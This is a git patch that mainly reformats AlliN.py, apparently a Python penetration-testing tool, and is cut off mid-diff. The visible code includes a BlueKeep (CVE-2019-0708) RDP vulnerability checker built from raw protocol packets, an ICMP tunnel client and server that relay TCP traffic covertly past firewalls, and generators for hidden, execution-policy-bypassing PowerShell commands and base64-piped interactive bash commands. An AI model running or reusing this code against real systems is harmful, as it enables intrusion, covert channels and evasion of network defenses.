From 782eca40d31f421e17d57136b3ccc3982f44f102 Mon Sep 17 00:00:00 2001 From: christa <2668330584@qq.com> Date: Wed, 11 May 2022 12:04:56 +0800 Subject: [PATCH] Add vhostscan method --- AlliN.py | 4418 +++++++++++++++++++++++++++++++++++------------------ README.md | 11 +- 2 files changed, 2975 insertions(+), 1454 deletions(-) diff --git a/AlliN.py b/AlliN.py index 86f7dfb..3ce80fb 100644 --- a/AlliN.py +++ b/AlliN.py @@ -22,6 +22,7 @@ import time import traceback import urllib +import uuid from datetime import datetime @@ -43,9 +44,9 @@ import urllib.request as urllib2 - -if (not os.environ.get("PYTHONHTTPSVERIFY", "") and - getattr(ssl, "_create_unverified_context", None)): +if not os.environ.get("PYTHONHTTPSVERIFY", "") and getattr( + ssl, "_create_unverified_context", None +): ssl._create_default_https_context = ssl._create_unverified_context htmlunescape = HTMLParser.HTMLParser() @@ -70,7 +71,7 @@ elif PYVERSION > "3.7": sys.stdout.reconfigure(encoding="utf-8") elif PYVERSION > "3.0": - sys.stdout = os.fdopen(sys.stdout.buffer.fileno(), 'w', encoding='utf8') + sys.stdout = os.fdopen(sys.stdout.buffer.fileno(), "w", encoding="utf8") else: sys.stdout = codecs.getwriter("utf-8")(sys.stdout) @@ -130,9 +131,10 @@ def Shodankey(self): return apikey + # global variable arear # icmp client var -VER="\x01\x01" +VER = "\x01\x01" SEQUENCE = 0 PACKETSIZE = 1024 HANDSHAKE = "HELLO" @@ -145,11 +147,11 @@ def Shodankey(self): gCLIENTOBJ = [] ICMPSOCK = None -VER="\x01\x01" +VER = "\x01\x01" HANDSHAKE = "HELLO" # for https url -ca_certs ="""## +ca_certs = """## ## Bundle of CA Root Certificates ## ## Certificate data from Mozilla as of: Fri Jan 22 12:03:41 2021 GMT @@ -3420,6 +3422,7 @@ def yellow(string): return "\033[93m" + string + "\033[0m" else: + def info(string): return string @@ -3437,10 +3440,11 @@ def Huskie(string): def attention(string): return string - + def yellow(string): return string + # delete color string for file write def fparse(string): if PYVERSION > "3.0": @@ -3454,6 +3458,7 @@ def fparse(string): # 0708 start + class ARC4: def __init__(self, key): state = range(256) @@ -3471,67 +3476,71 @@ def __init__(self, key): def translate(self, plain): state = self.state - enc="" + enc = "" for i in range(len(plain)): self.x = (self.x + 1) % 256 self.y = (self.y + state[self.x]) % 256 (state[self.x], state[self.y]) = (state[self.y], state[self.x]) - xorIndex = (state[self.x]+state[self.y]) % 256 + xorIndex = (state[self.x] + state[self.y]) % 256 enc += chr(ord(plain[i]) ^ state[xorIndex]) return enc + def check_rdp_vuln(username): - x_224_conn_req = "\x03\x00\x00" + "{0}" # TPKT Header - x_224_conn_req += chr(33+len(username)) # X.224: Length indicator - x_224_conn_req += "\xe0" # X.224: Type - TPDU - x_224_conn_req += "\x00\x00" # X.224: Destination reference - x_224_conn_req += "\x00\x00" # X.224: Source reference - x_224_conn_req += "\x00" # X.224: Class and options - x_224_conn_req += "\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" # "Cookie: mstshash= - x_224_conn_req += username # coookie value - x_224_conn_req += "\x0d\x0a" # Cookie terminator sequence - x_224_conn_req += "\x01" # Type: RDP_NEG_REQ) - x_224_conn_req += "\x00" # RDP_NEG_REQ::flags - x_224_conn_req += "\x08\x00" # RDP_NEG_REQ::length (8 bytes) - x_224_conn_req += "\x00\x00\x00\x00" # Requested protocols (PROTOCOL_RDP) + x_224_conn_req = "\x03\x00\x00" + "{0}" # TPKT Header + x_224_conn_req += chr(33 + len(username)) # X.224: Length indicator + x_224_conn_req += "\xe0" # X.224: Type - TPDU + x_224_conn_req += "\x00\x00" # X.224: Destination reference + x_224_conn_req += "\x00\x00" # X.224: Source reference + x_224_conn_req += "\x00" # X.224: Class and options + x_224_conn_req += "\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" # "Cookie: mstshash= + x_224_conn_req += username # coookie value + x_224_conn_req += "\x0d\x0a" # Cookie terminator sequence + x_224_conn_req += "\x01" # Type: RDP_NEG_REQ) + x_224_conn_req += "\x00" # RDP_NEG_REQ::flags + x_224_conn_req += "\x08\x00" # RDP_NEG_REQ::length (8 bytes) + x_224_conn_req += "\x00\x00\x00\x00" # Requested protocols (PROTOCOL_RDP) return x_224_conn_req + def pdu_connect_initial(hostname): host_name = "" for i in hostname: - host_name += struct.pack("hh",userid,channel) + join_req += struct.pack(">hh", userid, channel) return join_req @@ -3618,17 +3626,18 @@ def mcs_erect_domain_pdu(): mcs_erect_domain_pdu = "\x03\x00\x00\x0c\x02\xf0\x80\x04\x00\x01\x00\x01" return mcs_erect_domain_pdu + def msc_attach_user_pdu(): msc_attach_user_pdu = "\x03\x00\x00\x08\x02\xf0\x80\x28" return msc_attach_user_pdu -def pdu_security_exchange(rcran, rsexp, rsmod, bitlen,host): + +def pdu_security_exchange(rcran, rsexp, rsmod, bitlen, host): encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod) - encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum,host) + encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum, host) bitlen += 8 - bitlen_hex = struct.pack("h",userdata_length+15) # TPKT - pkt += "\x02\xf0\x80" # X.224 - pkt += "\x64" # sendDataRequest - pkt += "\x00\x08" # intiator userId - pkt += "\x03\xeb" # channelId = 1003 - pkt += "\x70" # dataPriority - pkt += struct.pack("h",flags)[0] - pkt += struct.pack("h",userdata_length_low)[0] # UserData length - pkt += "\x01\x00" # securityHeader flags - pkt += "\x00\x00" # securityHeader flagsHi - pkt += bitlen_hex # securityPkt length - pkt += encrypted_rcran # 64 bytes encrypted client random - pkt += "\x00\x00\x00\x00\x00\x00\x00\x00" # 8 bytes rear padding (always present) + pkt += struct.pack(">h", userdata_length + 15) # TPKT + pkt += "\x02\xf0\x80" # X.224 + pkt += "\x64" # sendDataRequest + pkt += "\x00\x08" # intiator userId + pkt += "\x03\xeb" # channelId = 1003 + pkt += "\x70" # dataPriority + pkt += struct.pack("h", flags)[0] + pkt += struct.pack("h", userdata_length_low)[0] # UserData length + pkt += "\x01\x00" # securityHeader flags + pkt += "\x00\x00" # securityHeader flagsHi + pkt += bitlen_hex # securityPkt length + pkt += encrypted_rcran # 64 bytes encrypted client random + pkt += "\x00\x00\x00\x00\x00\x00\x00\x00" # 8 bytes rear padding (always present) return pkt + def rdp_salted_hash(s_bytes, i_bytes, clientRandom_bytes, serverRandom_bytes): hash_sha1 = hashlib.new("sha1") hash_sha1.update(i_bytes) @@ -3665,7 +3675,7 @@ def rdp_salted_hash(s_bytes, i_bytes, clientRandom_bytes, serverRandom_bytes): hash_md5.update(binascii.unhexlify(hash_sha1.hexdigest())) return binascii.unhexlify(hash_md5.hexdigest()) - + def rdp_final_hash(k, clientRandom_bytes, serverRandom_bytes): md5 = hashlib.md5() @@ -3676,6 +3686,7 @@ def rdp_final_hash(k, clientRandom_bytes, serverRandom_bytes): return binascii.unhexlify(md5.hexdigest()) + def rdp_hmac(mac_salt_key, data_content): sha1 = hashlib.sha1() md5 = hashlib.md5() @@ -3685,7 +3696,7 @@ def rdp_hmac(mac_salt_key, data_content): sha1.update(mac_salt_key) sha1.update(pad1) - sha1.update(struct.pack("h",len(pkt) + 4) - tpkt +=pkt + tpkt += struct.pack(">h", len(pkt) + 4) + tpkt += pkt return tpkt -def try_check(s, rc4enckey, hmackey,host): - for i in range(0,6): + +def try_check(s, rc4enckey, hmackey, host): + for i in range(0, 6): res = s.recv(1024) - - for i in range(0,6): - pkt = rdp_encrypted_pkt(binascii.unhexlify("100000000300000000000000020000000000000000000000"), rc4enckey, hmackey, "\x08\x00", "\x00\x00", "\x03\xed") + + for i in range(0, 6): + pkt = rdp_encrypted_pkt( + binascii.unhexlify("100000000300000000000000020000000000000000000000"), + rc4enckey, + hmackey, + "\x08\x00", + "\x00\x00", + "\x03\xed", + ) s.sendall(pkt) - pkt = rdp_encrypted_pkt(binascii.unhexlify("20000000030000000000000000000000020000000000000000000000000000000000000000000000"), rc4enckey, hmackey, "\x08\x00", "\x00\x00", "\x03\xed") + pkt = rdp_encrypted_pkt( + binascii.unhexlify( + "20000000030000000000000000000000020000000000000000000000000000000000000000000000" + ), + rc4enckey, + hmackey, + "\x08\x00", + "\x00\x00", + "\x03\xed", + ) s.sendall(pkt) - for i in range(0,4): - res = s.recv(1024) - if binascii.unhexlify("0300000902f0802180") in res: - #print("[+] Found MCS Disconnect Provider Ultimatum PDU Packet") - print("[+] Vulnerable " + host + " "*40) - #print("[+] HexDump: MCS Disconnect Provider Ultimatum PDU") - + for i in range(0, 4): + res = s.recv(1024) + if binascii.unhexlify("0300000902f0802180") in res: + # print("[+] Found MCS Disconnect Provider Ultimatum PDU Packet") + print("[+] Vulnerable " + host + " " * 40) + # print("[+] HexDump: MCS Disconnect Provider Ultimatum PDU") def exploit0708(host, port=3389, hostname="", username=""): @@ -3775,10 +3822,10 @@ def exploit0708(host, port=3389, hostname="", username=""): s.settimeout(args.timeout) try: port = int(port) - s.connect((host,port)) + s.connect((host, port)) x_224_conn_req = check_rdp_vuln(username) - s.sendall(x_224_conn_req.format(chr(33+len(username)+5))) + s.sendall(x_224_conn_req.format(chr(33 + len(username) + 5))) s.recv(8192) s.sendall(pdu_connect_initial(hostname)) @@ -3788,7 +3835,6 @@ def exploit0708(host, port=3389, hostname="", username=""): return except ValueError as e: print("Intput error") - try: res = s.recv(10000) @@ -3797,18 +3843,16 @@ def exploit0708(host, port=3389, hostname="", username=""): except socket.error as e: return - try: rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_serverdata(res) - s.sendall(mcs_erect_domain_pdu()) s.sendall(msc_attach_user_pdu()) res = s.recv(8192) mcs_packet = bytearray(res) - user1= mcs_packet[9] + mcs_packet[10] + user1 = mcs_packet[9] + mcs_packet[10] s.sendall(pdu_channel_request(user1, 1009)) s.recv(8192) @@ -3828,31 +3872,62 @@ def exploit0708(host, port=3389, hostname="", username=""): client_rand = "\x41" * 32 rcran = bytes_to_bignum(client_rand) - s.sendall(pdu_security_exchange(rcran, rsexp, rsmod, bitlen,host)) + s.sendall(pdu_security_exchange(rcran, rsexp, rsmod, bitlen, host)) - rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand) + rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys( + client_rand, server_rand + ) rc4enckey = ARC4(rc4encstart) s.sendall(rdp_encrypted_pkt(pdu_client_info(), rc4enckey, hmackey, "\x48\x00")) res = s.recv(8192) - res = s.recv(8192) - s.sendall(rdp_encrypted_pkt(pdu_client_confirm_active(), rc4enckey, hmackey, "\x38\x00")) + s.sendall( + rdp_encrypted_pkt( + pdu_client_confirm_active(), rc4enckey, hmackey, "\x38\x00" + ) + ) - synch = rdp_encrypted_pkt(binascii.unhexlify("16001700f103ea030100000108001f0000000100ea03"), rc4enckey, hmackey) - coop = rdp_encrypted_pkt(binascii.unhexlify("1a001700f103ea03010000010c00140000000400000000000000"), rc4enckey, hmackey) + synch = rdp_encrypted_pkt( + binascii.unhexlify("16001700f103ea030100000108001f0000000100ea03"), + rc4enckey, + hmackey, + ) + coop = rdp_encrypted_pkt( + binascii.unhexlify("1a001700f103ea03010000010c00140000000400000000000000"), + rc4enckey, + hmackey, + ) s.sendall(synch + coop) - s.sendall(rdp_encrypted_pkt(binascii.unhexlify("1a001700f103ea03010000010c00140000000100000000000000"), rc4enckey, hmackey)) + s.sendall( + rdp_encrypted_pkt( + binascii.unhexlify( + "1a001700f103ea03010000010c00140000000100000000000000" + ), + rc4enckey, + hmackey, + ) + ) - s.sendall(rdp_encrypted_pkt(pdu_client_persistent_key_list(), rc4enckey, hmackey)) + s.sendall( + rdp_encrypted_pkt(pdu_client_persistent_key_list(), rc4enckey, hmackey) + ) - s.sendall(rdp_encrypted_pkt(binascii.unhexlify("1a001700f103ea03010000010c00270000000000000003003200"), rc4enckey, hmackey)) + s.sendall( + rdp_encrypted_pkt( + binascii.unhexlify( + "1a001700f103ea03010000010c00270000000000000003003200" + ), + rc4enckey, + hmackey, + ) + ) - try_check(s,rc4enckey, hmackey,host) + try_check(s, rc4enckey, hmackey, host) except UnboundLocalError as e: return except socket.error as e: @@ -3860,13 +3935,14 @@ def exploit0708(host, port=3389, hostname="", username=""): except IndexError as e: return + # 0708 end # icmp tunnel start class IcmpSocket: def __init__(self, MODE): - self.ICMP_ECHO_REQUEST = 0x08 + self.ICMP_ECHO_REQUEST = 0x08 self.ICMP_ECHO_REPLY = 0x00 if MODE == 0: self.ICMP_SEND = self.ICMP_ECHO_REPLY @@ -3876,33 +3952,35 @@ def __init__(self, MODE): self.ICMP_RECV = self.ICMP_ECHO_REPLY self.ICMP_SEND = self.ICMP_ECHO_REQUEST self.ICMP_CODE = 0x00 - + self.MAX_DATA_SIZE = 1024 self.TIMEOUT = 300 self.ID = 0x100 - self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW,socket.getprotobyname("icmp")) - + self.sock = socket.socket( + socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp") + ) + def bind(self, address): - self.sock.bind((address,0)) + self.sock.bind((address, 0)) return IcmpSocket - + def checksum(self, source_string): sum = 0 count_to = (len(source_string) / 2) * 2 for count in xrange(0, count_to, 2): this = ord(source_string[count + 1]) * 256 + ord(source_string[count]) sum = sum + this - sum = sum & 0xffffffff + sum = sum & 0xFFFFFFFF if count_to < len(source_string): sum = sum + ord(source_string[len(source_string) - 1]) - sum = sum & 0xffffffff + sum = sum & 0xFFFFFFFF - sum = (sum >> 16) + (sum & 0xffff) + sum = (sum >> 16) + (sum & 0xFFFF) sum = sum + (sum >> 16) answer = ~sum - answer = answer & 0xffff - answer = answer >> 8 | (answer << 8 & 0xff00) + answer = answer & 0xFFFF + answer = answer >> 8 | (answer << 8 & 0xFF00) return answer @@ -3911,16 +3989,16 @@ def recv(self, buffsize): while True: started_select = time.time() what_ready = select.select([self.sock], [], [], time_left) - how_long_in_select = (time.time() - started_select) - if what_ready[0] == []: + how_long_in_select = time.time() - started_select + if what_ready[0] == []: return time_received = time.time() - packet, addr = self.sock.recvfrom(buffsize+28) + packet, addr = self.sock.recvfrom(buffsize + 28) icmpHeader = packet[20:28] type, code, checksum, packetID, sequence = struct.unpack( - "bbHHh", icmpHeader - ) + "bbHHh", icmpHeader + ) if type == self.ICMP_RECV and code == self.ICMP_CODE: return packet[28:], packetID, sequence, addr @@ -3928,39 +4006,51 @@ def recv(self, buffsize): if time_left <= 0: return - def send(self, dest_addr, data,packetID, sequence): - dest_addr = socket.gethostbyname(dest_addr) + def send(self, dest_addr, data, packetID, sequence): + dest_addr = socket.gethostbyname(dest_addr) my_checksum = 0 - header = struct.pack("bbHHh", self.ICMP_SEND, self.ICMP_CODE, my_checksum, packetID, sequence) + header = struct.pack( + "bbHHh", self.ICMP_SEND, self.ICMP_CODE, my_checksum, packetID, sequence + ) my_checksum = self.checksum(header + data) header = struct.pack( - "bbHHh", self.ICMP_SEND, self.ICMP_CODE, socket.htons(my_checksum), packetID, sequence + "bbHHh", + self.ICMP_SEND, + self.ICMP_CODE, + socket.htons(my_checksum), + packetID, + sequence, ) packet = header + data self.sock.sendto(packet, (dest_addr, 1)) - + + def GetMd5(src): - m = md5.new() - m.update(src) - return m.hexdigest() + m = md5.new() + m.update(src) + return m.hexdigest() + + def PrintHex(buf): - print("Data:") - for b in buf: - print(hex(ord(b)),) + print("Data:") + for b in buf: + print( + hex(ord(b)), + ) + - def _TransData(ss, icmpsock, rip): socks = [] socks.append(ss) socks.append(icmpsock.sock) - while(True): + while True: try: - r, w, e = select.select(socks, [], socks,0.2) + r, w, e = select.select(socks, [], socks, 0.2) if ss in r: try: recv = ss.recv(PACKETSIZE) print("TCP Recv: <", len(recv), "> bytes") - if(len(recv) > 0): + if len(recv) > 0: icmpsock.send(rip, recv, icmpsock.ID, SEQUENCE) print("ICMP Send: <", len(recv), "> bytes") else: @@ -3973,10 +4063,10 @@ def _TransData(ss, icmpsock, rip): return -1 elif (icmpsock.sock) in r: recv, id, seq, addr = icmpsock.recv(PACKETSIZE) - if(recv == CLOSETCPFLAG): + if recv == CLOSETCPFLAG: print("Victimer is offline") ss.close() - return -1 + return -1 else: print("ICMP Recv: <", len(recv), "> bytes") ss.send(recv) @@ -3984,47 +4074,48 @@ def _TransData(ss, icmpsock, rip): else: icmpsock.send(rip, HEARTBEATFLAG, icmpsock.ID, SEQUENCE) except Exception as e: - print(e,sys._getframe().f_lineno) + print(e, sys._getframe().f_lineno) return -1 - + + def _StartConnect(rip, mode, tip, tport): global SEQUENCE global HEARTBEATFLAG global CLOSETCPFLAG - - icmpsock = IcmpSocket(mode) #1 Client Mode + + icmpsock = IcmpSocket(mode) # 1 Client Mode icmpsock.bind("0.0.0.0") - icmpsock.send(rip,VER + HANDSHAKE, icmpsock.ID,SEQUENCE) - data,id,seq,addr = icmpsock.recv(2) + icmpsock.send(rip, VER + HANDSHAKE, icmpsock.ID, SEQUENCE) + data, id, seq, addr = icmpsock.recv(2) PrintHex(data) ExitCode = 1 - if( seq != 0): + if seq != 0: SEQUENCE = seq HEARTBEATFLAG = GetMd5(str(seq) + "TS") CLOSETCPFLAG = GetMd5(str(seq) + "TCP") - icmpsock.send(rip,HEARTBEATFLAG,icmpsock.ID,SEQUENCE) - if(ord(data[0]) == 1 and ord(data[1]) == 0) : - while(ExitCode): + icmpsock.send(rip, HEARTBEATFLAG, icmpsock.ID, SEQUENCE) + if ord(data[0]) == 1 and ord(data[1]) == 0: + while ExitCode: data, _id, seq, addr = icmpsock.recv(2) print(addr) PrintHex(data) - if(ord(data[0]) == 0 and ord(data[1]) == 0): + if ord(data[0]) == 0 and ord(data[1]) == 0: cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) cs.connect((tip, tport)) print("Connecting to target's host Succ") ExitCode = _TransData(cs, icmpsock, rip) - # icmp tunnel end # icmp Stunnel start + class SIcmpSocket: def __init__(self, MODE): - self.ICMP_ECHO_REQUEST = 0x08 + self.ICMP_ECHO_REQUEST = 0x08 self.ICMP_ECHO_REPLY = 0x00 - if (MODE == 0): + if MODE == 0: self.ICMP_SEND = self.ICMP_ECHO_REPLY self.ICMP_RECV = self.ICMP_ECHO_REQUEST self.ICMP_CODE = 0x00 @@ -4036,7 +4127,9 @@ def __init__(self, MODE): self.MAX_DATA_SIZE = 1024 self.TIMEOUT = 300 self.ID = 0x100 - self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp")) + self.sock = socket.socket( + socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp") + ) def bind(self, address): self.sock.bind((address, 0)) @@ -4048,17 +4141,17 @@ def checksum(self, source_string): for count in xrange(0, count_to, 2): this = ord(source_string[count + 1]) * 256 + ord(source_string[count]) sum = sum + this - sum = sum & 0xffffffff + sum = sum & 0xFFFFFFFF if count_to < len(source_string): sum = sum + ord(source_string[len(source_string) - 1]) - sum = sum & 0xffffffff + sum = sum & 0xFFFFFFFF - sum = (sum >> 16) + (sum & 0xffff) + sum = (sum >> 16) + (sum & 0xFFFF) sum = sum + (sum >> 16) answer = ~sum - answer = answer & 0xffff - answer = answer >> 8 | (answer << 8 & 0xff00) + answer = answer & 0xFFFF + answer = answer >> 8 | (answer << 8 & 0xFF00) return answer @@ -4067,66 +4160,78 @@ def recv(self, buffsize): while True: started_select = time.time() what_ready = select.select([self.sock], [], [], time_left) - how_long_in_select = (time.time() - started_select) - if what_ready[0] == []: + how_long_in_select = time.time() - started_select + if what_ready[0] == []: return time_received = time.time() - packet, addr = self.sock.recvfrom(buffsize+28) + packet, addr = self.sock.recvfrom(buffsize + 28) icmpHeader = packet[20:28] type, code, checksum, packetID, sequence = struct.unpack( - "bbHHh", icmpHeader - ) + "bbHHh", icmpHeader + ) if type == self.ICMP_RECV and code == self.ICMP_CODE: - return packet[28:],packetID,sequence,addr + return packet[28:], packetID, sequence, addr time_left = time_left - how_long_in_select if time_left <= 0: return - def send(self, dest_addr, data,packetID, sequence): - dest_addr = socket.gethostbyname(dest_addr) + def send(self, dest_addr, data, packetID, sequence): + dest_addr = socket.gethostbyname(dest_addr) my_checksum = 0 - header = struct.pack("bbHHh", self.ICMP_SEND, self.ICMP_CODE, my_checksum, packetID, sequence) + header = struct.pack( + "bbHHh", self.ICMP_SEND, self.ICMP_CODE, my_checksum, packetID, sequence + ) my_checksum = self.checksum(header + data) header = struct.pack( - "bbHHh", self.ICMP_SEND, self.ICMP_CODE, socket.htons(my_checksum), packetID, sequence + "bbHHh", + self.ICMP_SEND, + self.ICMP_CODE, + socket.htons(my_checksum), + packetID, + sequence, ) packet = header + data self.sock.sendto(packet, (dest_addr, 1)) - + def PrintData(self, buf): print("Data:") for b in buf: - print(hex(ord(b)),) - + print( + hex(ord(b)), + ) + + def _GetSockNum(): - while(True): - id=random.randint(10000, 32767) - if(id not in gSOCKETID): + while True: + id = random.randint(10000, 32767) + if id not in gSOCKETID: break return id - + + def _GetMd5(src): - m = md5.new() - m.update(src) - return m.hexdigest() - -def _STransData(ss,obj): + m = md5.new() + m.update(src) + return m.hexdigest() + + +def _STransData(ss, obj): Timeout = 30 startTime = 0 data = "" while True: try: - if(startTime == 0): + if startTime == 0: startTime = time.time() - elif(time.time() - startTime > Timeout): + elif time.time() - startTime > Timeout: return 0 - + r, w, e = select.select([ss], [], [ss], 0.2) if ss in r: try: recv = ss.recv(1024) print("TCP: Recv <", len(recv), ">bytes") - if(len(recv)>0): + if len(recv) > 0: obj["OutQueue"].put(recv) print("ICMP: Send <", len(recv), ">bytes") else: @@ -4138,8 +4243,8 @@ def _STransData(ss,obj): print(e, sys._getframe().f_lineno) obj["OutQueue"].put(obj["CloseTCPFlag"]) return -1 - - elif (obj["InQueue"].empty() == False): + + elif obj["InQueue"].empty() == False: startTime = 0 while obj["InQueue"].qsize() > 0: recv = obj["InQueue"].get() @@ -4149,21 +4254,25 @@ def _STransData(ss,obj): else: data = data + recv print("ICMP: Recv <", len(data), ">bytes") - if(obj["CanSend"]): - if(len(data) > 0): - ss.send(data) - print("Tcp: Send <", len(data), ">bytes") - obj["CanSend"] == False - data = "" - + if obj["CanSend"]: + if len(data) > 0: + ss.send(data) + print("Tcp: Send <", len(data), ">bytes") + obj["CanSend"] == False + data = "" + except Exception as e: print(e, sys._getframe().f_lineno) break + def PrintHex(buf): print("Data:") for b in buf: - print(hex(ord(b)), ) + print( + hex(ord(b)), + ) + def _ProcessNewClient(obj, addr): rs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -4171,45 +4280,47 @@ def _ProcessNewClient(obj, addr): rs.listen(10) socks = [] socks.append(rs) - ip,sp = rs.getsockname() + ip, sp = rs.getsockname() obj["OutQueue"].put("\x01\x00") print("Your server port is :" + str(sp)) - #obj["OutQueue"].put("Your server port is :"+str(sp)) + # obj["OutQueue"].put("Your server port is :"+str(sp)) ExitCode = 1 while ExitCode: try: r, w, e = select.select(socks, [], socks) - if(rs in r): - ss,laddr = rs.accept() + if rs in r: + ss, laddr = rs.accept() print("Attacker ip from " + str(laddr[0]) + " is Connected!") obj["OutQueue"].put("\x00\x00") elif e.count > 0: break except Exception as e: - print("Tunnel has been closed", e) - break + print("Tunnel has been closed", e) + break print("Now starting translate data...") ExitCode = _STransData(ss, obj) - + gSOCKETID.remove(obj["Num"]) gCLIENTOBJ.remove(obj) print("Translate data is over...") - + + def _ForwardData(): while True: for obj in gCLIENTOBJ: - if(obj["OutQueue"].empty() == False): + if obj["OutQueue"].empty() == False: recv = obj["OutQueue"].get() ICMPSOCK.send(obj["Address"], recv, obj["Identifier"], obj["Num"]) + def _DataCenter(): td = threading.Thread(target=_ForwardData) td.start() while True: try: - data,id,seq,addr=ICMPSOCK.recv(1024) - if(seq == 0 and data[0:7] == "\x01\x01" + HANDSHAKE): + data, id, seq, addr = ICMPSOCK.recv(1024) + if seq == 0 and data[0:7] == "\x01\x01" + HANDSHAKE: sockNum = _GetSockNum() gSOCKETID.append(sockNum) obj = { @@ -4220,11 +4331,11 @@ def _DataCenter(): "Identifier": id, "CanSend": False, "HeartBeatFlag": _GetMd5(str(sockNum) + "TS"), - "CloseTCPFlag": _GetMd5(str(sockNum) + "TCP") + "CloseTCPFlag": _GetMd5(str(sockNum) + "TCP"), } obj["Identifier"] = id gCLIENTOBJ.append(obj) - print("Accpet new client from :", sockNum,addr[0]) + print("Accpet new client from :", sockNum, addr[0]) t = threading.Thread(target=_ProcessNewClient, args=(obj, addr[0])) t.start() elif seq in gSOCKETID: @@ -4237,12 +4348,14 @@ def _DataCenter(): except Exception as e: print(e) + def _StartServer(lip, Mode): global ICMPSOCK - ICMPSOCK = SIcmpSocket(Mode) #0 Server Mode + ICMPSOCK = SIcmpSocket(Mode) # 0 Server Mode ICMPSOCK.bind(lip) _DataCenter() + # icmp Stunnel end @@ -4269,7 +4382,11 @@ def powershell(cmd): try: print(info("[*]") + cmd) powershell_code = cmd - full_attack = info("[*]") + "powershell -nop -win hidden -exec bypass -noni -enc " + base64.b64encode(powershell_code.encode("utf_16_le")) + full_attack = ( + info("[*]") + + "powershell -nop -win hidden -exec bypass -noni -enc " + + base64.b64encode(powershell_code.encode("utf_16_le")) + ) print(full_attack) except ValueError as e: print("Cookie ValueError") @@ -4280,28 +4397,48 @@ def bash(cmd): print(info("[*]") + cmd) bash_code = cmd cmd_b64 = base64.b64encode(bash_code.encode("utf-8")) - full_attack = info("[*]") + "bash -c \"{echo," + cmd_b64 + "}|{base64,-d}|{bash,-i}\"" + full_attack = ( + info("[*]") + 'bash -c "{echo,' + cmd_b64 + '}|{base64,-d}|{bash,-i}"' + ) print(full_attack) except ValueError as e: print("Cookie ValueError") @staticmethod def f5(f5_string): - try: + try: encoded_string = f5_string print(info("[*]") + "String to decode: %s\n" % encoded_string) if encoded_string.startswith("rd"): - f5pattern = re.compile("rd(\d*)o00000000000000000000ffff([0-9a-fA-F]*)o(\d*)") + f5pattern = re.compile( + "rd(\d*)o00000000000000000000ffff([0-9a-fA-F]*)o(\d*)" + ) result = f5pattern.findall(encoded_string) if len(result) != 0 and result[0] != None and len(result[0]) == 3: - f5id,f5ip,f5port = result[0] - print(info("[*]") + "id: {id} ip: {ip} port: {port}".format(id=f5id,ip=".".join([str(int(f5ip,16)/(256**i)%256) for i in range(3,-1,-1)]), port=f5port )) + f5id, f5ip, f5port = result[0] + print( + info("[*]") + + "id: {id} ip: {ip} port: {port}".format( + id=f5id, + ip=".".join( + [ + str(int(f5ip, 16) / (256**i) % 256) + for i in range(3, -1, -1) + ] + ), + port=f5port, + ) + ) else: (host, port, end) = encoded_string.split(".") (a, b, c, d) = [ord(i) for i in struct.pack("i", key[i:i + 4])[0] for i in range(0, len(key), 4) ] + tk = [struct.unpack(">i", key[i : i + 4])[0] for i in range(0, len(key), 4)] # Copy values into round key arrays for i in range(0, KC): @@ -4376,11 +4514,13 @@ def __init__(self, key): while t < round_key_count: tt = tk[KC - 1] - tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^ - (self.S[(tt >> 8) & 0xFF] << 16) ^ - (self.S[ tt & 0xFF] << 8) ^ - self.S[(tt >> 24) & 0xFF] ^ - (self.rcon[rconpointer] << 24)) + tk[0] ^= ( + (self.S[(tt >> 16) & 0xFF] << 24) + ^ (self.S[(tt >> 8) & 0xFF] << 16) + ^ (self.S[tt & 0xFF] << 8) + ^ self.S[(tt >> 24) & 0xFF] + ^ (self.rcon[rconpointer] << 24) + ) rconpointer += 1 if KC != 8: @@ -4393,10 +4533,12 @@ def __init__(self, key): tk[i] ^= tk[i - 1] tt = tk[KC // 2 - 1] - tk[KC // 2] ^= (self.S[tt& 0xFF]^ - (self.S[(tt >> 8) & 0xFF] << 8) ^ - (self.S[(tt >> 16) & 0xFF] << 16) ^ - (self.S[(tt >> 24) & 0xFF] << 24)) + tk[KC // 2] ^= ( + self.S[tt & 0xFF] + ^ (self.S[(tt >> 8) & 0xFF] << 8) + ^ (self.S[(tt >> 16) & 0xFF] << 16) + ^ (self.S[(tt >> 24) & 0xFF] << 24) + ) for i in range(KC // 2 + 1, KC): tk[i] ^= tk[i - 1] @@ -4413,27 +4555,35 @@ def __init__(self, key): for r in range(1, rounds): for j in range(0, 4): tt = self._Kd[r][j] - self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^ - self.U2[(tt >> 16) & 0xFF] ^ - self.U3[(tt >> 8) & 0xFF] ^ - self.U4[tt & 0xFF]) + self._Kd[r][j] = ( + self.U1[(tt >> 24) & 0xFF] + ^ self.U2[(tt >> 16) & 0xFF] + ^ self.U3[(tt >> 8) & 0xFF] + ^ self.U4[tt & 0xFF] + ) - def encrypt(self, plaintext): + def encrypt(self, plaintext): rounds = len(self._Ke) - 1 (s1, s2, s3) = [1, 2, 3] a = [0, 0, 0, 0] def _compact_word(word): return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] - t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in range(0, 4)] + + t = [ + (_compact_word(plaintext[4 * i : 4 * i + 4]) ^ self._Ke[0][i]) + for i in range(0, 4) + ] for r in range(1, rounds): for i in range(0, 4): - a[i] = (self.T1[(t[i] >> 24) & 0xFF] ^ - self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^ - self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^ - self.T4[ t[(i + s3) % 4] & 0xFF] ^ - self._Ke[r][i]) + a[i] = ( + self.T1[(t[i] >> 24) & 0xFF] + ^ self.T2[(t[(i + s1) % 4] >> 16) & 